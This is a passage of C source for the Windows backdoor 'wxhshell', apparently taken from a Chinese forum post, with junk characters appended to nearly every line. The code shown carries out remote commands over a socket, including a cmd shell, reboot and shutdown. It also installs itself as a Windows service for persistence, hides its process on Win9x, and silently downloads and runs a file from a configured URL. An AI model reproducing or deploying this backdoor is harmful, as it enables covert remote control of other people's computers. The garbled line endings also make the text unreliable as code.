  else { f> Jj5he/  
h#4n  
    switch(cmd[0]) { 2{=D)aC$f  
  ~_JfI7={Jn  
  // 帮助 UAXp;W`  
  case '?': { w>f.@luO4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &j:prc[W  
    break; <jJ'T?,  
  } `Z,WKus  
  // 安装 c\o_U9=n  
  case 'i': { Sc{&h8KMTb  
    if(Install()) h?dSn:Y\?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uzvd*>mv  
    else GEy7Vb)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5fk A?Ecqq  
    break; f3! Oc  
    } ,YM=?No  
  // 卸载 l=XZBe*[g'  
  case 'r': { F>{bVPh VA  
    if(Uninstall()) Awfd0L;9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Un/,-ck  
    else [/hoNCH!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ld_uMe?Z  
    break;  )XonFI  
    } cu}(\a  
  // 显示 wxhshell 所在路径 ASi2;Q_{_  
  case 'p': { _Ml?cT/J.O  
    char svExeFile[MAX_PATH]; }Jh.+k|_  
    strcpy(svExeFile,"\n\r"); XixjdBFP  
      strcat(svExeFile,ExeFile); xS@jV6E~  
        send(wsh,svExeFile,strlen(svExeFile),0); [.|& /O  
    break; _"Y7}A\9  
    } QyTN  V  
  // 重启 aO1.9! <v  
  case 'b': { y'>9' /&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m %+'St|qr  
    if(Boot(REBOOT)) 4IZAJqw(*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ a 2A"#f  
    else { n+=7u[AZi  
    closesocket(wsh); Nz{qu}dt  
    ExitThread(0); ZJbaioc\  
    } #"A`:bjG  
    break; .mrv"k\<  
    } >Q=e9L=  
  // 关机 ;/Y#ph[  
  case 'd': { T@vE@D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _\dC<K *>  
    if(Boot(SHUTDOWN)) ecl6>PS$'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ![{/V,V]~  
    else { Fi+ DG?zu  
    closesocket(wsh); bp8sZK"z  
    ExitThread(0); x^[0UA]S9  
    } p79QEIbk=  
    break; D{8B;+  
    } #bGYHN  
  // 获取shell '9vsv\A&  
  case 's': { 1HSt}  
    CmdShell(wsh); [Ti ' X#  
    closesocket(wsh); (F;*@Z*R  
    ExitThread(0); K7x;/O  
    break; 3:sc%IDP  
  } A Ef@o+A  
  // 退出 "<^ Vp-7r  
  case 'x': { 'YN:cr,V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H^B,b !5i  
    CloseIt(wsh); [4;_8-[Nv  
    break; OPq6)(Q  
    } b+AxTe("  
  // 离开 #EKnjh=Uq  
  case 'q': { rmX5-k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4,)QV_?  
    closesocket(wsh); ga1b%5]v.  
    WSACleanup(); mT j  
    exit(1); |j8#n`'  
    break; [;toumv  
        } "AWk jdj  
  } Iw$T'I+4W  
  } s!Id55R]  
h_Er$ZT64  
  // 提示信息 F')E)tV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EO",|V-  
} oqK: 5|  
  } DAN"&&  
*:l$ud  
  return; =/xXB  
} {qry2ZT5  
1mEW]z  
// shell模块句柄 7` XECIh  
int CmdShell(SOCKET sock) ~F~hgVS5  
{ dt>!=<|k  
STARTUPINFO si; .L]2g$W\p  
ZeroMemory(&si,sizeof(si)); pAEJ=Te  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3 }rx(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !\&4,l(  
PROCESS_INFORMATION ProcessInfo; z8};(I>)  
char cmdline[]="cmd"; P_@ty~u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lFgE{; z@  
  return 0; Qbj:^{`>(  
} okW'}@jD  
\ItAc2,Fl  
// 自身启动模式 5_L43-  
int StartFromService(void) y+VR D  
{ ;Y &2G'  
typedef struct 9+>%U~U<  
{ abV,]x&.0  
  DWORD ExitStatus; .aIFm5N3?  
  DWORD PebBaseAddress; %x$mAOUv  
  DWORD AffinityMask; #+3I$ k  
  DWORD BasePriority; =u&NdMy  
  ULONG UniqueProcessId; RKz _GEH)  
  ULONG InheritedFromUniqueProcessId; C_hIPMU=  
}   PROCESS_BASIC_INFORMATION; tbi(e49S  
/^Lo@672  
PROCNTQSIP NtQueryInformationProcess; ~_SVQ7P  
pvd9wKz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O`(it %Ho!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Jj0%?;  
3nkO+ qQ  
  HANDLE             hProcess; P,Rqv)}X  
  PROCESS_BASIC_INFORMATION pbi; ["?WVXCF8|  
AwGDy +  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E@;v|Xc  
  if(NULL == hInst ) return 0; : ]JsUb{YK  
cE]#23  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8"S? Toqq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5'O.l$)y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iJK rNRj  
!HHbd |B_  
  if (!NtQueryInformationProcess) return 0; Z$a4@W9o  
i0~L[v9l<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I*)eP||  
  if(!hProcess) return 0; 5B=Wnau  
./;*L D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -?<L"u  
 =!Y{Mz  
  CloseHandle(hProcess); 3/hAxd  
U_,K_6vj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A,s .<TG  
if(hProcess==NULL) return 0; T)B1V,2j=  
pBu~($%d  
HMODULE hMod; >taZw '  
char procName[255]; >(HUW^T/9z  
unsigned long cbNeeded; +#<"o#gZ  
)Z 3fytY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @V-CG!  
W\<5'9LNb  
  CloseHandle(hProcess); w8g36v*+(u  
1P\_3.V{  
if(strstr(procName,"services")) return 1; // 以服务启动 7e"(]NC84  
Lsozl<@  
  return 0; // 注册表启动 @]h#T4z'  
} <!|2Ru  
6l$o^R^D  
// 主模块 n1W}h@>8  
int StartWxhshell(LPSTR lpCmdLine) &WHEPdD  
{ K~WwV8c9;  
  SOCKET wsl; c~|/,FZU'  
BOOL val=TRUE; &[KFCn  
  int port=0; vP'R7r2Yx  
  struct sockaddr_in door;  D-4 PEf  
8`qw1dF  
  if(wscfg.ws_autoins) Install(); EX&y !  
8LwbOR"  
port=atoi(lpCmdLine); MOmp{@  
Gf'V68,l$  
if(port<=0) port=wscfg.ws_port; uj/le0  
Qzh:*O  
  WSADATA data; %r!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;|/7o@$ n  
6]gs{zG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D1O7S]j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $@&bK2@.(  
  door.sin_family = AF_INET; @3S2Xb{ra1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I( y Wct  
  door.sin_port = htons(port); L6A6|+H%E  
KQ9:lJKr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {@ , L  
closesocket(wsl); T)Nis~  
return 1; -G Kelz?h>  
} "| Q&  
BS|-E6E<  
  if(listen(wsl,2) == INVALID_SOCKET) { $uLzC]  
closesocket(wsl); QX]tD4OH  
return 1; 7_Q86o  
} v}Aw!Dv/  
  Wxhshell(wsl); !J6s^um  
  WSACleanup(); X7 Za Q .  
"+ Qh,fTt  
return 0; =0]Mc$Ih  
bL[PNUG  
} g*tLqV  
<?J7Z|  
// 以NT服务方式启动 b{dzbmak  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PvB?57wkF  
{ P`%ppkzV6  
DWORD   status = 0; =91'.c<  
  DWORD   specificError = 0xfffffff; q-3KF  
EqmJXDm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bT*4Qd4W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h1gb&?w5P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !S-hv1bE  
  serviceStatus.dwWin32ExitCode     = 0; )Ud S (Bj  
  serviceStatus.dwServiceSpecificExitCode = 0; P3 Evv]sB@  
  serviceStatus.dwCheckPoint       = 0; LK%B6-;~-  
  serviceStatus.dwWaitHint       = 0; ?^!dLW  
\9?<E[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w:LCm `d  
  if (hServiceStatusHandle==0) return; W|Tew-H{h_  
Gehl/i-  
status = GetLastError(); "PHv~_:^R  
  if (status!=NO_ERROR) 9]w0zUOL6  
{ ]VH@\ f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Rp|&1nS  
    serviceStatus.dwCheckPoint       = 0; &;skB.  
    serviceStatus.dwWaitHint       = 0; k$ M4NF~$  
    serviceStatus.dwWin32ExitCode     = status; ,+BgY4OY  
    serviceStatus.dwServiceSpecificExitCode = specificError; c>!J@[,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -Mvw'#(0  
    return; #]N9/Hij#g  
  } zLqp@\sT  
b?NeSiswn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rQm  
  serviceStatus.dwCheckPoint       = 0; I`kp5lGD2  
  serviceStatus.dwWaitHint       = 0; !dH&IEP~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sN}@b8o@  
} kw~H%-,]  
oI~Qo*4eh  
// 处理NT服务事件,比如:启动、停止 yy1r,dw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }_22 wjm~  
{ IpXhb[UZ?  
switch(fdwControl) ]+dl=SmF  
{ ({VBp[Mh  
case SERVICE_CONTROL_STOP: F s\P/YX  
  serviceStatus.dwWin32ExitCode = 0; PcHFj+:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ejY5n2V#=  
  serviceStatus.dwCheckPoint   = 0; jGhg~-m  
  serviceStatus.dwWaitHint     = 0; \87J~K'  
  { hb8XBBKR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mVAm^JK  
  } \X.=3lc&  
  return; -*fYR#VQQB  
case SERVICE_CONTROL_PAUSE: m=,c,*>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ydqmuZ%2h#  
  break; G)Bq?=P  
case SERVICE_CONTROL_CONTINUE: >m1V9A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Su$1 t  
  break; cu?(P ;mQi  
case SERVICE_CONTROL_INTERROGATE: G1_@! 4  
  break; &E riskI  
}; <?{}Bo0xG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]</4#?_  
} ^MHn2Cv/~  
+Z<Q^5w@  
// 标准应用程序主函数 %e7(HfW-U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xqC<p`?4  
{ "5JNXo,H  
n=o'ocdS)  
// 获取操作系统版本 dX@A%6#?  
OsIsNt=GetOsVer(); .7gE^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %"[dGB$S  
Te@6N\g  
  // 从命令行安装 */^2RZg|W  
  if(strpbrk(lpCmdLine,"iI")) Install(); WmjzKCl  
YATdGLTeq  
  // 下载执行文件 1uS-Tx  
if(wscfg.ws_downexe) { nlebFDb7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M 1^C8cz  
  WinExec(wscfg.ws_filenam,SW_HIDE); }t51U0b%  
} ki~y@@3I  
{rvbo1t  
if(!OsIsNt) { VHT@s7u0"  
// 如果时win9x,隐藏进程并且设置为注册表启动 yD"0=\  
HideProc(); R,+/A8[j  
StartWxhshell(lpCmdLine); |^PLZ>  
} {y:#'n  
else H : T N  
  if(StartFromService()) q#(/*AoU  
  // 以服务方式启动 |N$?_<H  
  StartServiceCtrlDispatcher(DispatchTable); ?YO =J  
else Sq-3-w,R~  
  // 普通方式启动 ?ng14e  
  StartWxhshell(lpCmdLine); PyMVTP4  
!rXcGj(k  
return 0; P YF.#@":&  
}
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只看该作者 1 发表于: 2006-10-10
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